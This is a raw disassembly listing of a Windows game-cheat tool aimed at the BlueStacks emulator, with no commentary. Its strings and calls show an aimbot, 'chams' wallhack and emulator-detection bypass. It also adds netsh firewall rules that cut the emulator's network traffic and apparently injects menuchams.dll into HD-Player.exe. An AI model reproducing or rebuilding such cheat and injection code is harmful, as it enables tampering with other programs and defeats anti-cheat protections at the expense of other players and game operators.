movaps xmm0, xmmword [str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock1__dirin_actionblock_profileany_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_]
mov rcx, rax
mov qword [rbp + 0x690], rax
mov qword [rbp + 0x6a0], __WSAFDIsSet
mov qword [rbp + 0x6a8], 0x9f
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140182060]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140182070]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140182080]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140182090]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1401820a0]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x1401820b0]
movups xmmword [rax + 0x60], xmm0
movaps xmm1, xmmword [0x1401820c0]
movups xmmword [rax + 0x70], xmm1
movaps xmm0, xmmword [0x1401820d0]
movups xmmword [rax + 0x80], xmm0
movzx eax, byte [0x1401820e0]
mov byte [rcx + 0x90], al
xorps xmm0, xmm0
mov byte [rcx + 0x91], 0
mov ecx, 0xa0
movups xmmword [rbp + 0x6b0], xmm0
mov qword [rbp + 0x6c0], rsi
mov qword [rbp + 0x6c8], rsi
call fcn.140114530
movaps xmm0, xmmword [str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock1__dirout_actionblock_profileany_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_]
mov rcx, rax
mov qword [rbp + 0x6b0], rax
mov qword [rbp + 0x6c0], __WSAFDIsSet
mov qword [rbp + 0x6c8], 0x9f
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140182100]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140182110]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140182120]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140182130]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x140182140]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x140182150]
movups xmmword [rax + 0x60], xmm0
movaps xmm1, xmmword [0x140182160]
movups xmmword [rax + 0x70], xmm1
movaps xmm0, xmmword [0x140182170]
movups xmmword [rax + 0x80], xmm0
movzx eax, word [0x140182180]
mov word [rcx + 0x90], ax
xorps xmm0, xmm0
mov byte [rcx + 0x92], 0
mov ecx, 0x90
movups xmmword [rbp + 0x6d0], xmm0
mov qword [rbp + 0x6e0], rsi
mov qword [rbp + 0x6e8], rsi
call fcn.140114530
movaps xmm0, xmmword [str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock2__dirin_actionblock_profileany_program_C:Program_FilesBlueStacksHD_Player.exe_]
mov rcx, rax
mov qword [rbp + 0x6d0], rax
mov qword [rbp + 0x6e0], Ordinal_143
mov qword [rbp + 0x6e8], reloc.WLDAP32.dll_Ordinal_143
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1401821a0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1401821b0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1401821c0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1401821d0]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1401821e0]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x1401821f0]
movups xmmword [rax + 0x60], xmm0
movaps xmm1, xmmword [0x140182200]
movups xmmword [rax + 0x70], xmm1
movsd xmm0, qword [0x140182210]
movsd qword [rax + 0x80], xmm0
xorps xmm0, xmm0
mov eax, dword [0x140182218]
mov dword [rcx + 0x88], eax
movzx eax, word [0x14018221c]
mov word [rcx + 0x8c], ax
mov byte [rcx + 0x8e], 0
mov ecx, 0x90
movups xmmword [rbp + 0x6f0], xmm0
mov qword [rbp + 0x700], rsi
mov qword [rbp + 0x708], rsi
call fcn.140114530
mov rcx, rax
movaps xmm0, xmmword [str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock2__dirout_actionblock_profileany_program_C:Program_FilesBlueStacksHD_Player.exe_]
mov qword [rbp + 0x6f0], rax
mov qword [rbp + 0x700], reloc.WLDAP32.dll_Ordinal_143
mov qword [rbp + 0x708], reloc.WLDAP32.dll_Ordinal_143
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140182230]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140182240]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140182250]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140182260]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x140182270]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x140182280]
movups xmmword [rax + 0x60], xmm0
movaps xmm1, xmmword [0x140182290]
movups xmmword [rax + 0x70], xmm1
movsd xmm0, qword [0x1401822a0]
movsd qword [rax + 0x80], xmm0
xorps xmm0, xmm0
mov eax, dword [0x1401822a8]
mov dword [rcx + 0x88], eax
movzx eax, word [0x1401822ac]
mov word [rcx + 0x8c], ax
movzx eax, byte [0x1401822ae]
mov byte [rcx + 0x8e], al
mov byte [rcx + 0x8f], 0
mov ecx, 0xa0
movups xmmword [rbp + 0x710], xmm0
mov qword [rbp + 0x720], rsi
mov qword [rbp + 0x728], rsi
call fcn.140114530
movaps xmm0, xmmword [str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlockMSI5_In__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_msi5HD_Player.exe_]
mov rcx, rax
mov qword [rbp + 0x710], rax
mov qword [rbp + 0x720], 0x99
mov qword [rbp + 0x728], 0x9f
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1401822c0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1401822d0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1401822e0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1401822f0]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x140182300]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x140182310]
movups xmmword [rax + 0x60], xmm0
movaps xmm1, xmmword [0x140182320]
movups xmmword [rax + 0x70], xmm1
movaps xmm0, xmmword [0x140182330]
movups xmmword [rax + 0x80], xmm0
movsd xmm0, qword [0x140182340]
movsd qword [rax + 0x90], xmm0
xorps xmm0, xmm0
movzx eax, byte [0x140182348]
mov byte [rcx + 0x98], al
mov byte [rcx + 0x99], 0
mov ecx, 0xa0
movups xmmword [rbp + 0x730], xmm0
mov qword [rbp + 0x740], rsi
mov qword [rbp + 0x748], rsi
call fcn.140114530
movaps xmm0, xmmword [str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlockMSI5_Out__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_msi5HD_Player.exe_]
mov rcx, rax
mov qword [rbp + 0x730], rax
mov qword [rbp + 0x740], 0x9b
mov qword [rbp + 0x748], 0x9f
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140182360]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140182370]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140182380]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140182390]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1401823a0]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x1401823b0]
movups xmmword [rax + 0x60], xmm0
movaps xmm1, xmmword [0x1401823c0]
movups xmmword [rax + 0x70], xmm1
movaps xmm0, xmmword [0x1401823d0]
movups xmmword [rax + 0x80], xmm0
movsd xmm0, qword [0x1401823e0]
movsd qword [rax + 0x90], xmm0
xorps xmm0, xmm0
movzx eax, word [0x1401823e8]
mov word [rcx + 0x98], ax
movzx eax, byte [0x1401823ea]
mov byte [rcx + 0x9a], al
mov byte [rcx + 0x9b], 0
mov ecx, 0xa0
movups xmmword [rbp + 0x750], xmm0
mov qword [rbp + 0x760], rsi
mov qword [rbp + 0x768], rsi
call fcn.140114530
movaps xmm0, xmmword [str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock3__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_msi2Bluestacks.exe_]
mov rcx, rax
mov qword [rbp + 0x750], rax
mov qword [rbp + 0x760], __WSAFDIsSet
mov qword [rbp + 0x768], 0x9f
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140182400]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140182410]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140182420]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140182430]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x140182440]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x140182450]
movups xmmword [rax + 0x60], xmm0
movaps xmm1, xmmword [0x140182460]
movups xmmword [rax + 0x70], xmm1
movaps xmm0, xmmword [0x140182470]
movups xmmword [rax + 0x80], xmm0
mov eax, dword [0x140182480]
mov dword [rcx + 0x90], eax
xorps xmm0, xmm0
mov byte [rcx + 0x94], 0
mov ecx, 0xa0
movups xmmword [rbp + 0x770], xmm0
mov qword [rbp + 0x780], rsi
mov qword [rbp + 0x788], rsi
call fcn.140114530
movaps xmm0, xmmword [str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock3__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_]
mov rcx, rax
mov qword [rbp + 0x770], rax
mov qword [rbp + 0x780], __WSAFDIsSet
mov qword [rbp + 0x788], 0x9f
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1401824a0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1401824b0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1401824c0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1401824d0]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1401824e0]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x1401824f0]
movups xmmword [rax + 0x60], xmm0
movaps xmm1, xmmword [0x140182500]
movups xmmword [rax + 0x70], xmm1
movaps xmm0, xmmword [0x140182510]
movups xmmword [rax + 0x80], xmm0
movzx eax, word [0x140182520]
mov word [rcx + 0x90], ax
xorps xmm0, xmm0
movzx eax, byte [0x140182522]
mov byte [rcx + 0x92], al
mov byte [rcx + 0x93], 0
movups xmmword [rbp + 0x790], xmm0
mov ecx, 0xa0
mov qword [rbp + 0x7a0], rsi
mov qword [rbp + 0x7a8], rsi
call fcn.140114530
movaps xmm0, xmmword [str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock3__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_]
lea rdx, [rbp - 0x70]
mov qword [rbp + 0x790], rax
mov rcx, rax
mov qword [rbp + 0x7a0], __WSAFDIsSet
mov qword [rbp + 0x7a8], 0x9f
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140182540]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140182550]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140182560]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140182570]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x140182580]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x140182590]
movups xmmword [rax + 0x60], xmm0
movaps xmm1, xmmword [0x1401825a0]
movups xmmword [rax + 0x70], xmm1
movaps xmm0, xmmword [0x1401825b0]
movups xmmword [rax + 0x80], xmm0
mov eax, dword [0x1401825c0]
mov dword [rcx + 0x90], eax
lea rax, [rbp + 0x650]
mov qword [rbp + 0x540], rax
lea rax, [rbp + 0x7b0]
mov qword [rbp + 0x548], rax
movaps xmm0, xmmword [rbp + 0x540]
mov byte [rcx + 0x94], 0
lea rcx, [rsp + 0x60]
movdqa xmmword [rbp - 0x70], xmm0
call fcn.140047fa0
lea r9, [fcn.14003a290]
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov r8d, ntohl
lea rcx, [rbp + 0x650]
call fcn.14011456c
mov rdi, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
cmp rbx, rdi
je 0x140045ec1
mov rcx, rbx
call fcn.140040c50
add rbx, 0x20
cmp rbx, rdi
jne 0x140045eb0
lea r9, str.Internet_Desactivado
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x650]
call fcn.14003e390
mov rax, qword [0x140289980]
cmp rax, qword [0x140289988]
je 0x140045f0e
mov r8d, 0x2010
lea rdx, [rbp + 0x650]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x140289980], 0x2010
jmp 0x140045f1d
lea r8, [rbp + 0x650]
mov rdx, rax
call fcn.1400492b0
mov byte [0x140263949], r13b
lea rcx, [rsp + 0x60]
call fcn.1400483d0
call fcn.140016410
cmp qword [0x140263a50], 0
jne 0x140045f6d
mov rcx, qword [0x1402892f0]
lea r9, [rbp + 0x370]
mov qword [rsp + 0x30], rsi
lea rdx, [0x14021eaf0]
mov qword [rsp + 0x28], r12
mov r8d, 0x1bd92
mov qword [rsp + 0x20], rsi
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x140263950]
lea r9, [rbp + 0x9c]
mov dword [rsp + 0x30], 0xffffffff
lea r8, [rbp + 0xa4]
mov dword [rbp + 0x8c], 0x3f800000
mov dword [rbp + 0x90], 0x3f800000
mov rax, qword [rcx + 0x3ef0]
mov qword [rbp + 0x94], 0
mov dword [rbp + 0x9c], 0x43aa0000
mov dword [rbp + 0xa0], 0x43870000
mov byte [rax + 0xb8], r13b
mov rax, qword [rcx + 0x3ef0]
lea rcx, [rbp + 0x8c]
mov rdx, qword [0x140263a50]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x94]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rax + 0x298]
mov qword [rbp + 0xa4], 0x42aa0000
call fcn.1400240a0
mov rcx, qword [0x140263950]
lea rdx, [rbp + 0xac]
movss xmm3, dword [0x14019a108]
movss xmm2, dword [0x14019a10c]
mulss xmm3, xmm9
subss xmm2, xmm10
mov rax, qword [rcx + 0x3ef0]
mov dword [rbp + 0xac], 0x438c0000
mov dword [rbp + 0xb0], 0x420c0000
subss xmm3, xmm10
mov byte [rax + 0xb8], r13b
mov rax, qword [rcx + 0x3ef0]
lea rcx, str.BYPASS_EMULADOR
movss xmm1, dword [rax + 0x24]
movss xmm0, dword [rax + 0x20]
subss xmm1, dword [rax + 0x88]
subss xmm0, dword [rax + 0x84]
mov byte [rax + 0x141], r13b
addss xmm1, xmm2
addss xmm0, xmm3
movss dword [rax + 0x104], xmm1
movss dword [rax + 0x100], xmm0
call fcn.140031340
test al, al
je 0x1400477ef
mov ecx, 8
call fcn.140114530
lea rcx, [0x140040d40]
mov r9, rax
lea r8, [0x140049610]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x258]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], esi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x250], rax
test rax, rax
je 0x140047a05
cmp dword [rbp + 0x258], 0
je 0x1400479fb
movaps xmm0, xmmword [rbp + 0x250]
lea rcx, [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400479fb
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x250], xmm0
jmp 0x1400477ef
cmp eax, 5
jne 0x140046946
mov ecx, dword [0x140263978]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x1400461b7
mov ecx, 8
call fcn.140114530
lea rcx, [0x140041f10]
mov r9, rax
lea r8, [0x140049610]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp - 0x28]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], esi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x30], rax
test rax, rax
je 0x140047a21
cmp dword [rbp - 0x28], 0
je 0x140047a17
movaps xmm0, xmmword [rbp - 0x30]
lea rcx, [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140047a17
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x30], xmm0
mov rcx, qword [0x140263950]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], r13b
mov rax, qword [rcx + 0x3ef0]
movss xmm1, dword [rax + 0x20]
movss xmm0, dword [rax + 0x24]
subss xmm1, dword [rax + 0x84]
subss xmm0, dword [rax + 0x88]
mov byte [rax + 0x141], r13b
addss xmm1, xmm12
addss xmm0, dword [0x1401830bc]
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm0
call fcn.1400162c0
lea rdx, [rbp + 0xb4]
mov dword [rbp + 0xb4], 0x420c0000
lea rcx, [0x140145350]
mov dword [rbp + 0xb8], 0x420c0000
call fcn.140031bc0
test al, al
je 0x14004655e
cmp byte [0x140263949], 0
je 0x1400463aa
lea rdx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_
lea rcx, [rbp + 0x650]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x670]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:Program_FilesBlueStacksHD_Player.exe_
lea rcx, [rbp + 0x690]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_
lea rcx, [rbp + 0x6b0]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_delete_rule_name_TemporaryBlockMSI5_In__program_C:Program_FilesBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x6d0]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_delete_rule_name_TemporaryBlockMSI5_Out__program_C:Program_FilesBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x6f0]
call fcn.14003a2f0
lea rax, [rbp + 0x650]
mov qword [rbp + 0x550], rax
lea rdx, [rbp - 0x70]
lea rax, [rbp + 0x710]
mov qword [rbp + 0x558], rax
lea rcx, [rsp + 0x60]
movaps xmm0, xmmword [rbp + 0x550]
movdqa xmmword [rbp - 0x70], xmm0
call fcn.140047fa0
lea r9, [fcn.14003a290]
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov r8d, 6
lea rcx, [rbp + 0x650]
call fcn.14011456c
mov rdi, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
cmp rbx, rdi
je 0x140046338
mov rcx, rbx
call fcn.140040c50
add rbx, 0x20
cmp rbx, rdi
jne 0x140046327
lea r9, str.Internet_Activado
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x650]
call fcn.14003e390
mov rax, qword [0x140289980]
cmp rax, qword [0x140289988]
je 0x14004638f
mov r8d, 0x2010
lea rdx, [rbp + 0x650]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x140289980], 0x2010
mov byte [0x140263949], 0
jmp 0x140046554
lea r8, [rbp + 0x650]
mov rdx, rax
call fcn.1400492b0
mov byte [0x140263949], 0
jmp 0x140046554
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock0__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_
lea rcx, [rbp + 0x650]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock0__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_
lea rcx, [rbp + 0x670]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock1__dirin_actionblock_profileany_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x690]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock1__dirout_actionblock_profileany_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x6b0]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock2__dirin_actionblock_profileany_program_C:Program_FilesBlueStacksHD_Player.exe_
lea rcx, [rbp + 0x6d0]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock2__dirout_actionblock_profileany_program_C:Program_FilesBlueStacksHD_Player.exe_
lea rcx, [rbp + 0x6f0]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlockMSI5_In__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x710]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlockMSI5_Out__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x730]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock3__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_msi2Bluestacks.exe_
lea rcx, [rbp + 0x750]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock3__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_
lea rcx, [rbp + 0x770]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock3__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_
lea rcx, [rbp + 0x790]
call fcn.14003a2f0
lea rax, [rbp + 0x650]
mov qword [rbp + 0x560], rax
lea rdx, [rbp - 0x70]
lea rax, [rbp + 0x7b0]
mov qword [rbp + 0x568], rax
lea rcx, [rsp + 0x60]
movaps xmm0, xmmword [rbp + 0x560]
movdqa xmmword [rbp - 0x70], xmm0
call fcn.140047fa0
lea r9, [fcn.14003a290]
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov r8d, ntohl
lea rcx, [rbp + 0x650]
call fcn.14011456c
mov rdi, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
cmp rbx, rdi
je 0x1400464f1
nop
mov rcx, rbx
call fcn.140040c50
add rbx, 0x20
cmp rbx, rdi
jne 0x1400464e0
lea r9, str.Internet_Desactivado
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x650]
call fcn.14003e390
mov rax, qword [0x140289980]
cmp rax, qword [0x140289988]
je 0x14004653e
mov r8d, 0x2010
lea rdx, [rbp + 0x650]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x140289980], 0x2010
jmp 0x14004654d
lea r8, [rbp + 0x650]
mov rdx, rax
call fcn.1400492b0
mov byte [0x140263949], r13b
lea rcx, [rsp + 0x60]
call fcn.1400483d0
call fcn.140016410
cmp qword [0x140263a50], 0
jne 0x14004659d
mov rcx, qword [0x1402892f0]
lea r9, [rbp + 0x370]
mov qword [rsp + 0x30], rsi
lea rdx, [0x14021eaf0]
mov qword [rsp + 0x28], r12
mov r8d, 0x1bd92
mov qword [rsp + 0x20], rsi
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x140263950]
lea r9, [rbp + 0xcc]
mov dword [rsp + 0x30], 0xffffffff
lea r8, [rbp + 0xd4]
mov dword [rbp + 0xbc], 0x3f800000
mov dword [rbp + 0xc0], 0x3f800000
mov rax, qword [rcx + 0x3ef0]
mov qword [rbp + 0xc4], 0
mov dword [rbp + 0xcc], 0x43aa0000
mov dword [rbp + 0xd0], 0x43870000
mov byte [rax + 0xb8], r13b
lea rax, [rbp + 0xbc]
mov rcx, qword [rcx + 0x3ef0]
mov rdx, qword [0x140263a50]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xc4]
mov qword [rbp + 0xd4], 0x42aa0000
mov rcx, qword [rcx + 0x298]
mov qword [rsp + 0x20], rax
call fcn.1400240a0
mov rcx, qword [0x140263950]
lea rdx, [0x140263978]
movss xmm3, dword [0x14019a10c]
movss xmm4, dword [0x14019a108]
movaps xmm2, xmm3
subss xmm2, dword [0x14018311c]
mov rax, qword [rcx + 0x3ef0]
subss xmm3, xmm10
mulss xmm4, xmm9
mov byte [rax + 0xb8], r13b
mov rax, qword [rcx + 0x3ef0]
subss xmm4, xmm10
movss xmm1, dword [rax + 0x20]
subss xmm1, dword [rax + 0x84]
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
mov byte [rax + 0x141], r13b
addss xmm1, xmm4
addss xmm2, xmm0
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm2
mov rax, qword [rcx + 0x3ef0]
movss xmm2, dword [0x14018312c]
mov byte [rax + 0xb8], r13b
mov rax, qword [rcx + 0x3ef0]
lea rcx, str.Aimbot
movss xmm1, dword [rax + 0x20]
movss xmm0, dword [rax + 0x24]
subss xmm1, dword [rax + 0x84]
subss xmm0, dword [rax + 0x88]
mov byte [rax + 0x141], r13b
addss xmm1, xmm4
addss xmm0, xmm3
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm0
call fcn.14002f7a0
mov rcx, qword [0x140263950]
lea rdx, [rbp + 0xdc]
movss xmm2, dword [0x14019a108]
movss xmm3, dword [0x14019a10c]
subss xmm3, dword [0x14018311c]
mov rax, qword [rcx + 0x3ef0]
mulss xmm2, xmm9
mov dword [rbp + 0xdc], 0x438c0000
mov dword [rbp + 0xe0], 0x420c0000
mov byte [rax + 0xb8], r13b
mov rax, qword [rcx + 0x3ef0]
subss xmm2, xmm10
lea rcx, str.Menu_Chams
movss xmm1, dword [rax + 0x20]
movss xmm0, dword [rax + 0x24]
subss xmm1, dword [rax + 0x84]
subss xmm0, dword [rax + 0x88]
mov byte [rax + 0x141], r13b
addss xmm1, xmm2
addss xmm3, xmm0
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm3
call fcn.140031340
test al, al
je 0x1400477ef
mov eax, dword [0x140181e68]
lea rdx, str.C:WindowsSystem32menuchams.dll
xorps xmm0, xmm0
mov qword [rbp - 0x58], reloc.WS2_32.dll_ntohs
movups xmmword [rbp - 0x70], xmm0
mov dword [rbp - 0x68], eax
mov r8d, reloc.WLDAP32.dll_Ordinal_33
movzx eax, byte [0x140181e6c]
lea rcx, [rsp + 0x60]
movups xmmword [rsp + 0x60], xmm0
mov byte [rbp - 0x70], 0
movsd xmm0, qword [str.HD_Player.exe]
mov byte [rbp - 0x64], al
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
mov qword [rbp - 0x60], reloc.WS2_32.dll_listen
movsd qword [rbp - 0x70], xmm0
mov byte [rbp - 0x63], 0
call fcn.140048530
cmp qword [rsp + 0x78], 0xf
lea rcx, [rsp + 0x60]
cmova rcx, qword [rsp + 0x60]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x140047a30
cmp qword [rbp - 0x58], 0xf
lea rcx, [rbp - 0x70]
mov edx, reloc.WS2_32.dll_listen
cmova rcx, qword [rbp - 0x70]
call fcn.1400420f0
mov r8d, eax
test eax, eax
jne 0x14004689d
mov ecx, 0xdac
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140182e44]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x539
lea rcx, str.skinjbir
call fcn.1400420f0
jmp 0x1400468b2
lea rcx, [rsp + 0x60]
call fcn.14003a280
mov rdx, rax
mov ecx, r8d
call fcn.140042210
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x1400468ef
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400468ea
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140047aae
call fcn.14011487c
mov rdx, qword [rbp - 0x58]
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
cmp rdx, 0xf
jbe 0x1400477ef
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004693c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140047aae
call fcn.14011487c
jmp 0x1400477ef
cmp eax, 3
jne 0x140046b5e
movss xmm1, dword [0x140289804]
lea rcx, [rbp + 0x300]
movss xmm0, dword [0x140289800]
mov rax, qword [0x140263950]
movss dword [rbp + 0x304], xmm1
movss xmm1, dword [0x14028980c]
movss dword [rbp + 0x300], xmm0
mulss xmm1, dword [rax + 0x37f0]
mov qword [rbp + 0xe4], 0
movss xmm0, dword [0x140289808]
movss dword [rbp + 0x308], xmm0
movss dword [rbp + 0x30c], xmm1
